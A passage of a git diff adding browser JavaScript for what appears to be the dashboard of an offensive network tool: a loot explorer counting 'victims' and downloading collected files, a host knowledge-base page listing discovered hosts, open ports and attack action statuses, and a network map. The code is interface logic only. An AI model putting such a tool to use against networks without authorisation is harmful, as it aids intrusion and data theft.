setText('stat-victims', victims.size); + setText('stat-files', totalFiles); + setText('stat-folders', totalFolders); +} + +function setText(id, value) { + const node = $(`#${id}`, root); + if (node) node.textContent = String(value ?? ''); +} + +function fileMatchesSearch(file) { + if (!searchTerm) return true; + const n = String(file?.name || '').toLowerCase(); + const p = String(file?.fullPath || '').toLowerCase(); + return n.includes(searchTerm) || p.includes(searchTerm); +} + +function computeSearchFilteredFiles() { + return allFiles.filter(fileMatchesSearch); +} + +function updateBadgesFromFiltered() { + const filtered = computeSearchFilteredFiles(); + setText('badge-all', filtered.length); + + const byCat = filtered.reduce((acc, f) => { + acc[f.category] = (acc[f.category] || 0) + 1; + return acc; + }, {}); + + $$('.tab', root).forEach((tab) => { + const cat = tab.dataset.category; + if (cat === 'all') return; + setText(`badge-${cat}`, byCat[cat] || 0); + }); +} + +function renderTabs(categories) { + const tabs = $('#tabsContainer', root); + if (!tabs) return; + empty(tabs); + + tabs.appendChild(tabNode('all', 'All', true)); + for (const cat of categories) { + tabs.appendChild(tabNode(cat, cat.toUpperCase(), false)); + } + + $$('.tab', tabs).forEach((tab) => { + tracker.trackEventListener(tab, 'click', () => { + $$('.tab', tabs).forEach((tEl) => tEl.classList.remove('active')); + tab.classList.add('active'); + currentCategory = tab.dataset.category; + renderContent(); + }); + }); +} + +function tabNode(category, label, active) { + return el('div', { + class: `tab${active ? ' active' : ''}`, + 'data-category': category, + }, [ + label, + el('span', { class: 'tab-badge', id: `badge-${category}` }, ['0']), + ]); +} + +function renderContent(autoExpand = false) { + const container = $('#explorerContent', root); + if (!container) return; + + if (currentView === 'tree') { + renderTreeView(container, autoExpand); + } else { + renderListView(container); + } +} + +function renderTreeView(container, autoExpand = false) { + updateBadgesFromFiltered(); + const filteredData = filterDataForTree(); + + empty(container); + + if (!filteredData.length) { + container.appendChild(noResults('🔍', t('common.noData'))); + return; + } + + const tree = el('div', { class: 'tree-view active' }); + tree.appendChild(renderTreeItems(filteredData, 0, '', autoExpand || !!searchTerm)); + container.appendChild(tree); +} + +function filterDataForTree() { + function filterItems(items, path = '', isRoot = false) { + return (items || []) + .map((item) => { + if (item.type === 'directory') { + const dirPath = `${path}${item.name}/`; + const dirCategory = getDirCategory(dirPath); + const filteredChildren = Array.isArray(item.children) + ? filterItems(item.children, dirPath, false) + : []; + const nameMatch = String(item.name || '').toLowerCase().includes(searchTerm); + + if (isRoot) { + if (currentCategory !== 'all' && dirCategory !== currentCategory) return null; + if (!searchTerm) return { ...item, children: filteredChildren }; + if (filteredChildren.length > 0 || nameMatch) return { ...item, children: filteredChildren }; + return null; + } + + if (nameMatch || filteredChildren.length > 0) { + return { ...item, children: filteredChildren }; + } + return null; + } + + if (item.type === 'file') { + const category = getFileCategory(item.name, path); + const temp = { + ...item, + category, + fullPath: `${path}${item.name}`, + path: item.path || `${path}${item.name}`, + }; + const matchesSearch = fileMatchesSearch(temp); + const matchesCategory = currentCategory === 'all' || category === currentCategory; + return matchesSearch && matchesCategory ? temp : null; + } + + return null; + }) + .filter(Boolean); + } + + return filterItems(fileData, '', true); +} + +function renderTreeItems(items, level, path = '', expanded = false) { + const frag = document.createDocumentFragment(); + + items.forEach((item, index) => { + if (item.type === 'directory') { + const hasChildren = Array.isArray(item.children) && item.children.length > 0; + const treeItem = el('div', { class: `tree-item${expanded ? ' expanded' : ''}` }); + treeItem.style.animationDelay = `${index * 0.05}s`; + + const header = el('div', { class: 'tree-header' }, [ + el('div', { class: 'tree-icon folder-icon' }, ['📁']), + el('div', { class: 'tree-name' }, [item.name]), + ]); + + if (hasChildren) { + header.appendChild(el('div', { class: 'tree-chevron' }, ['▶'])); + } + + tracker.trackEventListener(header, 'click', (e) => { + e.stopPropagation(); + treeItem.classList.toggle('expanded'); + }); + + treeItem.appendChild(header); + + if (hasChildren) { + const children = el('div', { class: 'tree-children' }); + children.appendChild(renderTreeItems(item.children, level + 1, `${path}${item.name}/`, expanded)); + treeItem.appendChild(children); + } + + frag.appendChild(treeItem); + return; + } + + if (item.type === 'file') { + const category = getFileCategory(item.name, path); + frag.appendChild(renderFileItem({ + ...item, + category, + fullPath: `${path}${item.name}`, + path: item.path || `${path}${item.name}`, + }, category, index, false)); + } + }); + + return frag; +} + +function renderListView(container) { + updateBadgesFromFiltered(); + + let filtered = allFiles.filter((f) => fileMatchesSearch(f) && (currentCategory === 'all' || f.category === currentCategory)); + + filtered.sort((a, b) => { + let res = 0; + switch (currentSort) { + case 'type': + res = a.category.localeCompare(b.category) || a.name.localeCompare(b.name); + break; + case 'date': + res = fileTimestamp(a) - fileTimestamp(b); + break; + case 'name': + default: + res = String(a.name || '').localeCompare(String(b.name || '')); + break; + } + return sortDirection === 'desc' ? -res : res; + }); + + empty(container); + + if (!filtered.length) { + container.appendChild(noResults('🔍', t('common.noData'))); + return; + } + + const list = el('div', { class: 'list-view active' }); + filtered.forEach((file, index) => { + list.appendChild(renderFileItem(file, file.category, index, true)); + }); + container.appendChild(list); +} + +function fileTimestamp(file) { + const candidates = [ + file?.modified, + file?.modified_at, + file?.date, + file?.mtime, + file?.created_at, + ]; + for (const v of candidates) { + if (v == null || v === '') continue; + if (typeof v === 'number' && Number.isFinite(v)) return v; + const ts = Date.parse(String(v)); + if (Number.isFinite(ts)) return ts; + } + return 0; +} + +function renderFileItem(file, category, index = 0, showPath = false) { + const path = file.path || file.fullPath || file.name; + const item = el('div', { class: 'file-item', 'data-path': path }); + item.style.animationDelay = `${index * 0.02}s`; + + tracker.trackEventListener(item, 'click', () => { + downloadFile(path); + }); + + const icon = el('div', { class: `file-icon ${category}` }, [FILE_ICONS[category] || FILE_ICONS.other]); + const name = el('div', { class: 'file-name' }, [String(file.name || '')]); + + if (showPath) { + name.appendChild(el('span', { style: 'color:var(--_muted);font-size:0.75rem' }, [` — ${file.fullPath || path}`])); + } + + const type = el('span', { class: `file-type ${category}` }, [String(category || 'other')]); + item.append(icon, name, type); + + return item; +} + +function downloadFile(path) { + window.location.href = `/loot_download?path=${encodeURIComponent(path)}`; +} + +function noResults(icon, message) { + return el('div', { class: 'no-results' }, [ + el('div', { class: 'no-results-icon' }, [icon]), + String(message || t('common.noData')), + ]); +} diff --git a/web/js/pages/netkb.js b/web/js/pages/netkb.js new file mode 100644 index 0000000..9d98a44 --- /dev/null +++ b/web/js/pages/netkb.js @@ -0,0 +1,448 @@ +/** + * NetKB (Network Knowledge Base) page module. + * Displays discovered hosts with ports, actions, search, sort, filter, and 3 view modes. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, $$, empty, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'netkb'; +const L = (key, fallback, vars = {}) => { + const v = t(key, vars); + return v === key ? fallback : v; +}; + +/* ── state ── */ +let tracker = null; +let poller = null; +let originalData = []; +let viewMode = 'grid'; +let showNotAlive = false; +let currentSort = 'ip'; +let sortOrder = 1; +let currentFilter = null; +let searchTerm = ''; +let searchDebounce = null; + +/* ── prefs ── */ +const getPref = (k, d) => { try { return localStorage.getItem(k) ?? d; } catch { return d; } }; +const setPref = (k, v) => { try { localStorage.setItem(k, v); } catch { /* noop */ } }; + +/* ── lifecycle ── */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + + const savedView = getPref('netkb:view', isMobile() ? 'list' : 'grid'); + const savedOffline = getPref('netkb:offline', 'false') === 'true'; + const savedSearch = getPref('netkb:search', ''); + viewMode = isMobile() && savedView === 'grid' ? 'list' : savedView; + showNotAlive = savedOffline; + if (savedSearch) searchTerm = savedSearch.toLowerCase(); + + container.appendChild(buildShell(savedSearch)); + syncViewUI(); + syncOfflineUI(); + syncClearBtn(); + + tracker.trackEventListener(window, 'resize', () => { + if (isMobile() && viewMode === 'grid') { viewMode = 'list'; syncViewUI(); refreshDisplay(); } + }); + + /* close search popover on outside click */ + tracker.trackEventListener(document, 'click', (e) => { + const pop = $('#netkb-searchPop'); + const btn = $('#netkb-btnSearch'); + if (pop && btn && !pop.contains(e.target) && !btn.contains(e.target)) pop.classList.remove('show'); + }); + tracker.trackEventListener(document, 'keydown', (e) => { + if (e.key === 'Escape') { const pop = $('#netkb-searchPop'); if (pop) pop.classList.remove('show'); } + }); + + await refresh(); + poller = new Poller(refresh, 5000); + poller.start(); +} + +export function unmount() { + clearTimeout(searchDebounce); + if (poller) { poller.stop(); poller = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + originalData = []; + searchTerm = ''; + currentFilter = null; +} + +/* ── data fetch ── */ +async function refresh() { + try { + const data = await api.get('/netkb_data', { timeout: 8000 }); + originalData = Array.isArray(data) ? data : []; + refreshDisplay(); + } catch (err) { + console.warn(`[${PAGE}]`, err.message); + } +} + +/* ── shell ── */ +function buildShell(savedSearch) { + return el('div', { class: 'netkb-container' }, [ + el('div', { class: 'netkb-toolbar-wrap' }, [ + el('div', { class: 'netkb-toolbar', id: 'netkb-toolbar' }, [ + el('button', { + class: 'icon-btn', id: 'netkb-btnSearch', title: t('common.search'), + onclick: toggleSearchPop + }, ['\u{1F50D}']), + el('div', { class: 'search-pop', id: 'netkb-searchPop' }, [ + el('div', { class: 'search-input-wrap' }, [ + el('input', { + type: 'text', id: 'netkb-searchInput', + placeholder: t('netkb.searchPlaceholder'), + title: t('netkb.searchHint'), + value: savedSearch || '', oninput: onSearchInput + }), + el('button', { + class: 'search-clear', id: 'netkb-searchClear', type: 'button', + 'aria-label': 'Clear', onclick: clearSearch + }, ['\u2715']), + ]), + el('div', { class: 'search-hint' }, [t('netkb.searchHint')]), + ]), + el('div', { class: 'segmented', id: 'netkb-viewSeg' }, [ + el('button', { 'data-view': 'grid', onclick: () => setView('grid') }, [L('common.grid', 'Grid')]), + el('button', { 'data-view': 'list', onclick: () => setView('list') }, [L('common.list', 'List')]), + el('button', { 'data-view': 'table', onclick: () => setView('table') }, [L('common.table', 'Table')]), + ]), + el('label', { class: 'kb-switch', id: 'netkb-offlineSwitch', 'data-on': String(showNotAlive) }, [ + el('input', { + type: 'checkbox', id: 'netkb-toggleOffline', + ...(showNotAlive ? { checked: '' } : {}), + onchange: (e) => setOffline(e.target.checked) + }), + el('span', {}, [L('netkb.showOffline', 'Show offline')]), + el('span', { class: 'track' }, [el('span', { class: 'thumb' })]), + ]), + ]), + ]), + el('div', { class: 'netkb-content' }, [ + el('div', { id: 'netkb-card-container', class: 'card-container' }), + el('div', { id: 'netkb-table-container', class: 'table-wrap hidden' }), + ]), + ]); +} + +/* ── search ── */ +function toggleSearchPop() { + const pop = $('#netkb-searchPop'); + if (!pop) return; + pop.classList.toggle('show'); + if (pop.classList.contains('show')) { + const inp = $('#netkb-searchInput'); + if (inp) { inp.focus(); inp.select(); } + } +} + +function onSearchInput(e) { + clearTimeout(searchDebounce); + searchDebounce = setTimeout(() => { + searchTerm = e.target.value.trim().toLowerCase(); + setPref('netkb:search', e.target.value.trim()); + refreshDisplay(); + syncClearBtn(); + }, 120); +} + +function clearSearch() { + const inp = $('#netkb-searchInput'); + if (inp) { inp.value = ''; inp.focus(); } + searchTerm = ''; + setPref('netkb:search', ''); + refreshDisplay(); + syncClearBtn(); +} + +function syncClearBtn() { + const btn = $('#netkb-searchClear'); + if (btn) btn.style.display = searchTerm ? '' : 'none'; +} + +/* ── view mode ── */ +function setView(mode) { + if (isMobile() && mode === 'grid') mode = 'list'; + viewMode = mode; + setPref('netkb:view', mode); + syncViewUI(); + refreshDisplay(); +} + +function syncViewUI() { + const cards = $('#netkb-card-container'); + const table = $('#netkb-table-container'); + if (!cards || !table) return; + if (viewMode === 'table') { + cards.classList.add('hidden'); + table.classList.remove('hidden'); + } else { + table.classList.add('hidden'); + cards.classList.remove('hidden'); + } + $$('#netkb-viewSeg button').forEach(b => { + b.setAttribute('aria-pressed', String(b.dataset.view === viewMode)); + }); +} + +/* ── offline toggle ── */ +function setOffline(on) { + showNotAlive = !!on; + syncOfflineUI(); + setPref('netkb:offline', String(on)); + refreshDisplay(); +} + +function syncOfflineUI() { + const sw = $('#netkb-offlineSwitch'); + if (sw) sw.dataset.on = String(showNotAlive); + const cb = $('#netkb-toggleOffline'); + if (cb) cb.checked = showNotAlive; +} + +/* ── sort / filter ── */ +function sortBy(key) { + if (currentSort === key) sortOrder = -sortOrder; + else { currentSort = key; sortOrder = 1; } + refreshDisplay(); +} + +function filterBy(criteria, ev) { + if (ev) ev.stopPropagation(); + currentFilter = (currentFilter === criteria) ? null : criteria; + refreshDisplay(); +} + +/* ── paint orchestrator ── */ +function refreshDisplay() { + let data = [...originalData]; + if (searchTerm) data = data.filter(matchesSearch); + if (currentFilter) { + data = data.filter(item => { + switch (currentFilter) { + case 'hasActions': return item.actions && item.actions.some(a => a && a.status); + case 'hasPorts': return item.ports && item.ports.some(Boolean); + case 'toggleAlive': return !item.alive; + default: return true; + } + }); + } + if (currentSort) { + const ipToNum = ip => !ip ? 0 : ip.split('.').reduce((a, p) => (a << 8) + (+p || 0), 0); + data.sort((a, b) => { + if (currentSort === 'ports') { + return sortOrder * ((a.ports?.filter(Boolean).length || 0) - (b.ports?.filter(Boolean).length || 0)); + } + if (currentSort === 'ip') return sortOrder * (ipToNum(a.ip) - ipToNum(b.ip)); + const av = (a[currentSort] || '').toString(); + const bv = (b[currentSort] || '').toString(); + return sortOrder * av.localeCompare(bv, undefined, { numeric: true }); + }); + } + if (viewMode === 'table') renderTable(data); + else renderCards(data); +} + +/* ── search ── */ +const norm = v => (v ?? '').toString().toLowerCase(); +function matchesSearch(item) { + if (!searchTerm) return true; + const q = searchTerm; + if (norm(item.hostname).includes(q)) return true; + if (norm(item.ip).includes(q)) return true; + if (norm(item.mac).includes(q)) return true; + if (norm(item.vendor).includes(q)) return true; + if (norm(item.essid).includes(q)) return true; + if (Array.isArray(item.ports) && item.ports.some(p => norm(p).includes(q))) return true; + if (Array.isArray(item.actions) && item.actions.some(a => norm(a?.name).includes(q))) return true; + return false; +} + +/* ── card rendering ── */ +function renderCards(data) { + const container = $('#netkb-card-container'); + if (!container) return; + empty(container); + + const visible = data.filter(i => showNotAlive || i.alive); + if (visible.length === 0) { + container.appendChild(el('div', { class: 'netkb-empty' }, [t('common.noData')])); + return; + } + + for (const item of visible) { + const alive = item.alive; + const cardClass = `card ${viewMode === 'list' ? 'list' : ''} ${alive ? 'alive' : 'not-alive'}`; + const title = (item.hostname && item.hostname !== 'N/A') ? item.hostname : (item.ip || 'N/A'); + + const sections = []; + if (item.ip) sections.push(fieldRow('IP', 'ip', item.ip)); + if (item.mac) sections.push(fieldRow('MAC', 'mac', item.mac)); + if (item.vendor && item.vendor !== 'N/A') sections.push(fieldRow('Vendor', 'vendor', item.vendor)); + if (item.essid && item.essid !== 'N/A') sections.push(fieldRow('ESSID', 'essid', item.essid)); + if (item.ports && item.ports.filter(Boolean).length > 0) { + sections.push(el('div', { class: 'card-section' }, [ + el('strong', {}, [L('netkb.openPorts', 'Open Ports') + ':']), + el('div', { class: 'port-bubbles' }, + item.ports.filter(Boolean).map(p => chip('port', String(p))) + ), + ])); + } + + container.appendChild(el('div', { class: cardClass }, [ + el('div', { class: 'card-content' }, [ + el('h3', { class: 'card-title' }, [hlText(title)]), + ...sections, + ]), + el('div', { class: 'status-container' }, renderBadges(item.actions, item.ip)), + ])); + } +} + +/* ── table rendering ── */ +function renderTable(data) { + const container = $('#netkb-table-container'); + if (!container) return; + empty(container); + + const thClick = (key) => () => sortBy(key); + const fClick = (crit) => (e) => filterBy(crit, e); + + const thead = el('thead', {}, [ + el('tr', {}, [ + el('th', { onclick: thClick('hostname') }, [t('common.hostname') + ' ', + el('img', { src: '/web/images/filter_icon.png', class: 'filter-icon', onclick: fClick('toggleAlive'), title: 'Toggle offline', alt: 'Filter' })]), + el('th', { onclick: thClick('ip') }, ['IP']), + el('th', { onclick: thClick('mac') }, ['MAC']), + el('th', { onclick: thClick('essid') }, ['ESSID']), + el('th', { onclick: thClick('vendor') }, [t('common.vendor')]), + el('th', { onclick: thClick('ports') }, [t('common.ports') + ' ', + el('img', { src: '/web/images/filter_icon.png', class: 'filter-icon', onclick: fClick('hasPorts'), title: 'Has ports', alt: 'Filter' })]), + el('th', {}, [t('common.actions') + ' ', + el('img', { src: '/web/images/filter_icon.png', class: 'filter-icon', onclick: fClick('hasActions'), title: 'Has actions', alt: 'Filter' })]), + ]), + ]); + + const visible = data.filter(i => showNotAlive || i.alive); + const rows = visible.map(item => { + const hostText = (item.hostname && item.hostname !== 'N/A') ? item.hostname : (item.ip || 'N/A'); + return el('tr', {}, [ + el('td', {}, [chip('host', hostText)]), + el('td', {}, item.ip ? [chip('ip', item.ip)] : ['N/A']), + el('td', {}, item.mac ? [chip('mac', item.mac)] : ['N/A']), + el('td', {}, (item.essid && item.essid !== 'N/A') ? [chip('essid', item.essid)] : ['N/A']), + el('td', {}, (item.vendor && item.vendor !== 'N/A') ? [chip('vendor', item.vendor)] : ['N/A']), + el('td', {}, [el('div', { class: 'port-bubbles' }, + (item.ports || []).filter(Boolean).map(p => chip('port', String(p))))]), + el('td', {}, [el('div', { class: 'status-container' }, renderBadges(item.actions, item.ip))]), + ]); + }); + + container.appendChild(el('div', { class: 'table-inner' }, [ + el('table', {}, [thead, el('tbody', {}, rows)]), + ])); +} + +/* ── action badges ── */ +function renderBadges(actions, ip) { + if (!actions || actions.length === 0) return []; + const parseRaw = (raw) => { + const m = /^([a-z_]+)_(\d{8})_(\d{6})$/i.exec(raw || ''); + if (!m) return null; + const s = m[1].toLowerCase(); + const y = m[2].slice(0, 4), mo = m[2].slice(4, 6), d = m[2].slice(6, 8); + const hh = m[3].slice(0, 2), mm = m[3].slice(2, 4), ss = m[3].slice(4, 6); + const ts = Date.parse(`${y}-${mo}-${d}T${hh}:${mm}:${ss}Z`) || 0; + return { status: s, ts, d, mo, y, hh, mm, ss }; + }; + + const map = new Map(); + for (const a of actions) { + if (!a || !a.name || !a.status) continue; + const p = parseRaw(a.status); + if (!p) continue; + const prev = map.get(a.name); + if (!prev || p.ts > prev.parsed.ts) map.set(a.name, { ...a, parsed: p }); + } + + const MONTHS = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; + const label = s => ({ success: 'Success', failed: 'Failed', fail: 'Failed', running: 'Running', pending: 'Pending', expired: 'Expired', cancelled: 'Cancelled' })[s] || s; + + return Array.from(map.values()) + .sort((a, b) => b.parsed.ts - a.parsed.ts) + .map(a => { + const s = a.parsed.status === 'fail' ? 'failed' : a.parsed.status; + const clickable = ['success', 'failed', 'expired', 'cancelled'].includes(s); + const date = `${a.parsed.d} ${MONTHS[parseInt(a.parsed.mo) - 1] || ''} ${a.parsed.y}`; + const time = `${a.parsed.hh}:${a.parsed.mm}:${a.parsed.ss}`; + return el('div', { + class: `badge ${s} ${clickable ? 'clickable' : ''}`, + ...(clickable ? { + onclick: () => { + if (!confirm(L('netkb.confirmRemoveAction', `Are you sure you want to remove the action "${a.name}" for IP "${ip}"?`, { action: a.name, ip }))) return; + removeAction(ip, a.name); + } + } : {}), + }, [ + el('div', { class: 'badge-header' }, [hlText(a.name)]), + el('div', { class: 'badge-status' }, [label(s)]), + el('div', { class: 'badge-timestamp' }, [el('div', {}, [date]), el('div', {}, [`at ${time}`])]), + ]); + }); +} + +async function removeAction(ip, action) { + try { + const result = await api.post('/delete_netkb_action', { ip, action }); + if (result.status === 'success') { + toast(result.message || t('netkb.actionRemoved'), 2600, 'success'); + await refresh(); + } else throw new Error(result.message || 'Failed'); + } catch (e) { + console.error(e); + toast(`${t('common.error')}: ${e.message}`, 3000, 'error'); + } +} + +/* ── helpers ── */ +function chip(type, text) { + return el('span', { class: `chip ${type}` }, [hlText(text)]); +} + +function fieldRow(label, chipType, value) { + return el('div', { class: 'card-section' }, [ + el('strong', {}, [`${label}:`]), + el('span', {}, [' ']), + chip(chipType, value), + ]); +} + +function hlText(text) { + if (!searchTerm || !text) return String(text ?? ''); + const str = String(text); + const lower = str.toLowerCase(); + const idx = lower.indexOf(searchTerm); + if (idx === -1) return str; + const frag = document.createDocumentFragment(); + let pos = 0; + let i = lower.indexOf(searchTerm, pos); + while (i !== -1) { + if (i > pos) frag.appendChild(document.createTextNode(str.slice(pos, i))); + const mark = document.createElement('mark'); + mark.className = 'hl'; + mark.textContent = str.slice(i, i + searchTerm.length); + frag.appendChild(mark); + pos = i + searchTerm.length; + i = lower.indexOf(searchTerm, pos); + } + if (pos < str.length) frag.appendChild(document.createTextNode(str.slice(pos))); + return frag; +} + +function isMobile() { return window.matchMedia('(max-width: 720px)').matches; } diff --git a/web/js/pages/network.js b/web/js/pages/network.js new file mode 100644 index 0000000..e879b03 --- /dev/null +++ b/web/js/pages/network.js @@ -0,0 +1,566 @@ +/** + * Network page module. + * Table view + D3 force-directed map with zoom/drag, search, label toggle. + * Endpoint /network_data returns HTML, parsed client-side. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, $$, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'network'; +const L = (key, fallback, vars = {}) => { + const v = t(key, vars); + return v === key ? fallback : v; +}; +const ICONS = { + bjorn: '/web/images/boat.png', + host_active: '/web/images/target.png', + host_empty: '/web/images/target2.png', + loot: '/web/images/treasure.png', + gateway: '/web/images/lighthouse.png', +}; + +/* ── state ── */ +let tracker = null; +let poller = null; +let networkData = []; +let viewMode = 'table'; +let showLabels = true; +let searchTerm = ''; +let searchDebounce = null; +let currentSortState = { column: -1, direction: 'asc' }; + +/* D3 state */ +let d3Module = null; +let simulation = null; +let svg = null; +let g = null; +let nodeGroup = null; +let linkGroup = null; +let labelsGroup = null; +let globalNodes = []; +let globalLinks = []; +let currentZoomScale = 1; +let mapInitialized = false; + +/* ── prefs ── */ +const getPref = (k, d) => { try { return localStorage.getItem(k) ?? d; } catch { return d; } }; +const setPref = (k, v) => { try { localStorage.setItem(k, v); } catch { /* noop */ } }; + +/* ── lifecycle ── */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + + viewMode = getPref('nv:view', 'table'); + showLabels = getPref('nv:showHostname', 'true') === 'true'; + const savedSearch = getPref('nv:search', ''); + if (savedSearch) searchTerm = savedSearch.toLowerCase(); + + container.appendChild(buildShell(savedSearch)); + syncViewUI(); + syncClearBtn(); + + await refresh(); + poller = new Poller(refresh, 5000); + poller.start(); +} + +export function unmount() { + clearTimeout(searchDebounce); + if (poller) { poller.stop(); poller = null; } + if (simulation) { simulation.stop(); simulation = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + networkData = []; + globalNodes = []; + globalLinks = []; + mapInitialized = false; + d3Module = null; + svg = null; + g = null; + nodeGroup = null; + linkGroup = null; + labelsGroup = null; +} + +/* ── data fetch ── */ +async function refresh() { + try { + const html = await api.get('/network_data', { timeout: 8000 }); + if (typeof html !== 'string') return; + networkData = parseNetworkHTML(html); + renderTable(); + applySearchToTable(); + if (mapInitialized) updateMapFromData(networkData); + } catch (err) { + console.warn(`[${PAGE}]`, err.message); + } +} + +/* ── parse HTML response ── */ +function parseNetworkHTML(htmlStr) { + const tmp = document.createElement('div'); + tmp.innerHTML = htmlStr; + const table = tmp.querySelector('table'); + if (!table) return []; + const rows = Array.from(table.querySelectorAll('tr')).slice(1); + return rows.map(tr => { + const cells = Array.from(tr.querySelectorAll('td')); + if (cells.length < 6) return null; + const essid = (cells[0]?.textContent || '').trim(); + const ip = (cells[1]?.textContent || '').trim(); + const hostname = (cells[2]?.textContent || '').trim(); + const mac = (cells[3]?.textContent || '').trim(); + const vendor = (cells[4]?.textContent || '').trim(); + const portsStr = (cells[5]?.textContent || '').trim(); + const ports = portsStr.split(';').map(p => p.trim()).filter(p => p && p.toLowerCase() !== 'none'); + return { essid, ip, hostname, mac, vendor, ports }; + }).filter(Boolean); +} + +/* ── shell ── */ +function buildShell(savedSearch) { + return el('div', { class: 'network-container' }, [ + el('div', { class: 'ocean-container' }, [ + el('div', { class: 'ocean-surface' }), + el('div', { class: 'ocean-caustics' }), + ]), + el('div', { class: 'nv-toolbar-wrap' }, [ + el('div', { class: 'nv-toolbar' }, [ + el('div', { class: 'nv-search' }, [ + el('span', { class: 'nv-search-icon', 'aria-hidden': 'true' }, ['\u{1F50D}']), + el('input', { + type: 'text', id: 'searchInput', placeholder: t('common.search'), + value: savedSearch || '', oninput: onSearchInput + }), + el('button', { + class: 'nv-search-clear', id: 'nv-searchClear', type: 'button', + 'aria-label': 'Clear', onclick: clearSearch + }, ['\u2715']), + ]), + el('div', { class: 'segmented', id: 'viewSeg' }, [ + el('button', { 'data-view': 'table', onclick: () => setView('table') }, [L('common.table', 'Table')]), + el('button', { 'data-view': 'map', onclick: () => setView('map') }, [L('common.map', 'Map')]), + ]), + el('label', { + class: 'nv-switch', id: 'hostSwitch', + 'data-on': String(showLabels), + style: viewMode === 'map' ? '' : 'display:none' + }, [ + el('input', { + type: 'checkbox', id: 'toggleHostname', + ...(showLabels ? { checked: '' } : {}), + onchange: (e) => toggleLabels(e.target.checked) + }), + el('span', {}, [L('network.showHostname', 'Show hostname')]), + el('span', { class: 'track' }, [el('span', { class: 'thumb' })]), + ]), + ]), + ]), + el('div', { id: 'table-wrap', class: 'table-wrap' }, [ + el('div', { id: 'network-table' }), + ]), + el('div', { id: 'visualization-container', style: 'display:none' }), + el('div', { id: 'd3-tooltip', class: 'd3-tooltip' }), + ]); +} + +/* ── search ── */ +function onSearchInput(e) { + clearTimeout(searchDebounce); + searchDebounce = setTimeout(() => { + searchTerm = e.target.value.trim().toLowerCase(); + setPref('nv:search', searchTerm); + applySearchToTable(); + applySearchToMap(); + syncClearBtn(); + }, 120); +} + +function clearSearch() { + const inp = $('#searchInput'); + if (inp) { inp.value = ''; inp.focus(); } + searchTerm = ''; + setPref('nv:search', ''); + applySearchToTable(); + applySearchToMap(); + syncClearBtn(); +} + +function syncClearBtn() { + const btn = $('#nv-searchClear'); + if (btn) btn.style.display = searchTerm ? '' : 'none'; +} + +function applySearchToTable() { + const table = document.querySelector('#network-table table'); + if (!table) return; + const rows = Array.from(table.querySelectorAll('tbody tr')); + rows.forEach(tr => { + tr.style.display = !searchTerm || tr.textContent.toLowerCase().includes(searchTerm) ? '' : 'none'; + }); +} + +function applySearchToMap() { + if (!d3Module || !nodeGroup) return; + nodeGroup.selectAll('.node').style('opacity', d => { + if (!searchTerm) return 1; + const bag = `${d.label} ${d.ip || ''} ${d.vendor || ''}`.toLowerCase(); + return bag.includes(searchTerm) ? 1 : 0.1; + }); +} + +/* ── view ── */ +function setView(mode) { + viewMode = mode; + setPref('nv:view', mode); + syncViewUI(); + if (mode === 'map' && !mapInitialized) initMap(); +} + +function syncViewUI() { + const tableWrap = $('#table-wrap'); + const mapContainer = $('#visualization-container'); + const hostSwitch = $('#hostSwitch'); + if (tableWrap) tableWrap.style.display = viewMode === 'table' ? 'block' : 'none'; + if (mapContainer) mapContainer.style.display = viewMode === 'map' ? 'block' : 'none'; + if (hostSwitch) hostSwitch.style.display = viewMode === 'map' ? 'inline-flex' : 'none'; + $$('#viewSeg button').forEach(b => { + b.setAttribute('aria-pressed', String(b.dataset.view === viewMode)); + }); +} + +/* ── labels ── */ +function toggleLabels(on) { + showLabels = on; + setPref('nv:showHostname', String(on)); + const sw = $('#hostSwitch'); + if (sw) sw.dataset.on = String(on); + if (labelsGroup) labelsGroup.style('opacity', showLabels ? 1 : 0); +} + +/* ── table rendering ── */ +function renderTable() { + const wrap = $('#network-table'); + if (!wrap) return; + empty(wrap); + + if (networkData.length === 0) { + wrap.appendChild(el('div', { class: 'network-empty' }, [t('common.noData')])); + return; + } + + const thead = el('thead', {}, [ + el('tr', {}, [ + el('th', { class: 'hosts-header' }, [L('common.hosts', 'Hosts')]), + el('th', {}, [L('common.ports', 'Ports')]), + ]), + ]); + + const rows = networkData.map(item => { + const hostBubbles = []; + if (item.ip) hostBubbles.push(el('span', { class: 'bubble ip-address' }, [item.ip])); + if (item.hostname) hostBubbles.push(el('span', { class: 'bubble hostname' }, [item.hostname])); + if (item.mac) hostBubbles.push(el('span', { class: 'bubble mac-address' }, [item.mac])); + if (item.vendor) hostBubbles.push(el('span', { class: 'bubble vendor' }, [item.vendor])); + if (item.essid) hostBubbles.push(el('span', { class: 'bubble essid' }, [item.essid])); + + const portBubbles = item.ports.map(p => el('span', { class: 'port-bubble' }, [p])); + + return el('tr', {}, [ + el('td', { class: 'hosts-cell' }, [el('div', { class: 'hosts-content' }, hostBubbles)]), + el('td', {}, [el('div', { class: 'ports-container' }, portBubbles)]), + ]); + }); + + const table = el('table', { class: 'network-table' }, [thead, el('tbody', {}, rows)]); + wrap.appendChild(el('div', { class: 'table-inner' }, [table])); + + /* table sort */ + initTableSorting(table); +} + +function initTableSorting(table) { + const headers = Array.from(table.querySelectorAll('th')); + headers.forEach((h, idx) => { + h.style.cursor = 'pointer'; + h.addEventListener('click', () => { + headers.forEach(x => x.classList.remove('sort-asc', 'sort-desc')); + if (currentSortState.column === idx) { + currentSortState.direction = currentSortState.direction === 'asc' ? 'desc' : 'asc'; + } else { + currentSortState.column = idx; + currentSortState.direction = 'asc'; + } + h.classList.add(`sort-${currentSortState.direction}`); + const tbody = table.querySelector('tbody'); + const rows = Array.from(tbody.querySelectorAll('tr')); + rows.sort((a, b) => { + const A = a.querySelectorAll('td')[idx]?.textContent.trim().toLowerCase() || ''; + const B = b.querySelectorAll('td')[idx]?.textContent.trim().toLowerCase() || ''; + return currentSortState.direction === 'asc' ? A.localeCompare(B) : B.localeCompare(A); + }); + rows.forEach(r => tbody.appendChild(r)); + }); + }); +} + +/* ── D3 Map ── */ +async function initMap() { + const container = $('#visualization-container'); + if (!container) return; + + /* 